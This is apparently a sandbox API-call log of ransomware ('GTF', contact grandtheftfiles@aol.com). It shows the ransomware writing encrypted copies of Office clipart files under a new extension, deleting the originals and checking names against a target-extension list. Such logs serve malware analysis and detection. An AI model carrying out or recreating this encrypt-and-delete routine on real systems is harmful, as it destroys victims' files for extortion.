	[0087.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.585] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.586] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.586] GetLastError () returned 0x0
	[0087.586] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0087.588] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4400, lpOverlapped=0x0) returned 1
	[0087.592] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.592] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.592] SetEndOfFile (hFile=0x31c) returned 1
	[0087.593] CloseHandle (hObject=0x31c) returned 1
	[0087.593] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.593] SetEndOfFile (hFile=0x384) returned 1
	[0087.594] CloseHandle (hObject=0x384) returned 1
	[0087.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0087.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.594] lstrlenW (lpString=".doc") returned 4
	[0087.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.594] lstrlenW (lpString=".docx") returned 5
	[0087.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.594] lstrlenW (lpString=".pdf") returned 4
	[0087.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.594] lstrlenW (lpString=".xls") returned 4
	[0087.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.594] lstrlenW (lpString=".xlsx") returned 5
	[0087.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.594] lstrlenW (lpString=".ppt") returned 4
	[0087.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".zip") returned 4
	[0087.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.595] lstrlenW (lpString=".rar") returned 4
	[0087.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString=".bz2") returned 4
	[0087.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString=".7z") returned 3
	[0087.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".dbf") returned 4
	[0087.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".1cd") returned 4
	[0087.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".jpg") returned 4
	[0087.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".doc") returned 4
	[0087.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString=".docx") returned 5
	[0087.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.595] lstrlenW (lpString=".pdf") returned 4
	[0087.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString=".xls") returned 4
	[0087.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.595] lstrlenW (lpString=".xlsx") returned 5
	[0087.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.595] lstrlenW (lpString=".ppt") returned 4
	[0087.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.595] lstrlenW (lpString=".zip") returned 4
	[0087.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.596] lstrlenW (lpString=".rar") returned 4
	[0087.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.596] lstrlenW (lpString=".bz2") returned 4
	[0087.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.596] lstrlenW (lpString=".7z") returned 3
	[0087.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.596] lstrlenW (lpString=".dbf") returned 4
	[0087.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.596] lstrlenW (lpString=".1cd") returned 4
	[0087.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0087.596] lstrlenW (lpString=".jpg") returned 4
	[0087.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.596] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.596] lstrlenW (lpString="FD00543_.WMF") returned 12
	[0087.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.596] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1472) returned 1
	[0087.596] CloseHandle (hObject=0x384) returned 1
	[0087.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0087.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.597] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.597] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.598] GetLastError () returned 0x0
	[0087.598] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5c0, lpOverlapped=0x0) returned 1
	[0087.599] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5d0, lpOverlapped=0x0) returned 1
	[0087.600] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.600] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.600] SetEndOfFile (hFile=0x31c) returned 1
	[0087.601] CloseHandle (hObject=0x31c) returned 1
	[0087.601] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.601] SetEndOfFile (hFile=0x384) returned 1
	[0087.602] CloseHandle (hObject=0x384) returned 1
	[0087.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.602] lstrlenW (lpString=".doc") returned 4
	[0087.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.602] lstrlenW (lpString=".docx") returned 5
	[0087.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.602] lstrlenW (lpString=".pdf") returned 4
	[0087.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.602] lstrlenW (lpString=".xls") returned 4
	[0087.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.602] lstrlenW (lpString=".xlsx") returned 5
	[0087.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.602] lstrlenW (lpString=".ppt") returned 4
	[0087.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.602] lstrlenW (lpString=".zip") returned 4
	[0087.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.603] lstrlenW (lpString=".rar") returned 4
	[0087.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString=".bz2") returned 4
	[0087.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString=".7z") returned 3
	[0087.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString=".dbf") returned 4
	[0087.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString=".1cd") returned 4
	[0087.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString=".jpg") returned 4
	[0087.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString=".doc") returned 4
	[0087.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString=".docx") returned 5
	[0087.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.603] lstrlenW (lpString=".pdf") returned 4
	[0087.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString=".xls") returned 4
	[0087.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.603] lstrlenW (lpString=".xlsx") returned 5
	[0087.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.603] lstrlenW (lpString=".ppt") returned 4
	[0087.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.603] lstrlenW (lpString=".zip") returned 4
	[0087.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.603] lstrlenW (lpString=".rar") returned 4
	[0087.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.603] lstrlenW (lpString=".bz2") returned 4
	[0087.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.604] lstrlenW (lpString=".7z") returned 3
	[0087.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.604] lstrlenW (lpString=".dbf") returned 4
	[0087.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.604] lstrlenW (lpString=".1cd") returned 4
	[0087.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0087.604] lstrlenW (lpString=".jpg") returned 4
	[0087.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.604] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.604] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0087.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.604] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5260) returned 1
	[0087.604] CloseHandle (hObject=0x384) returned 1
	[0087.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
	[0087.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.605] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.605] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.605] GetLastError () returned 0x0
	[0087.605] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0087.607] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0087.608] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.608] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.608] SetEndOfFile (hFile=0x31c) returned 1
	[0087.608] CloseHandle (hObject=0x31c) returned 1
	[0087.608] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.608] SetEndOfFile (hFile=0x384) returned 1
	[0087.609] CloseHandle (hObject=0x384) returned 1
	[0087.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0087.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.609] lstrlenW (lpString=".doc") returned 4
	[0087.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.609] lstrlenW (lpString=".docx") returned 5
	[0087.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.609] lstrlenW (lpString=".pdf") returned 4
	[0087.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString=".xls") returned 4
	[0087.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.610] lstrlenW (lpString=".xlsx") returned 5
	[0087.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.610] lstrlenW (lpString=".ppt") returned 4
	[0087.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString=".zip") returned 4
	[0087.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.610] lstrlenW (lpString=".rar") returned 4
	[0087.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString=".bz2") returned 4
	[0087.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString=".7z") returned 3
	[0087.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString=".dbf") returned 4
	[0087.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString=".1cd") returned 4
	[0087.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString=".jpg") returned 4
	[0087.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.610] lstrlenW (lpString=".doc") returned 4
	[0087.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString=".docx") returned 5
	[0087.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.610] lstrlenW (lpString=".pdf") returned 4
	[0087.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.610] lstrlenW (lpString=".xls") returned 4
	[0087.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.611] lstrlenW (lpString=".xlsx") returned 5
	[0087.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.611] lstrlenW (lpString=".ppt") returned 4
	[0087.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.611] lstrlenW (lpString=".zip") returned 4
	[0087.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.611] lstrlenW (lpString=".rar") returned 4
	[0087.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.611] lstrlenW (lpString=".bz2") returned 4
	[0087.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.611] lstrlenW (lpString=".7z") returned 3
	[0087.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.611] lstrlenW (lpString=".dbf") returned 4
	[0087.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.611] lstrlenW (lpString=".1cd") returned 4
	[0087.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0087.611] lstrlenW (lpString=".jpg") returned 4
	[0087.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.611] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.611] lstrlenW (lpString="FD00564_.WMF") returned 12
	[0087.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.612] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=896) returned 1
	[0087.612] CloseHandle (hObject=0x384) returned 1
	[0087.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
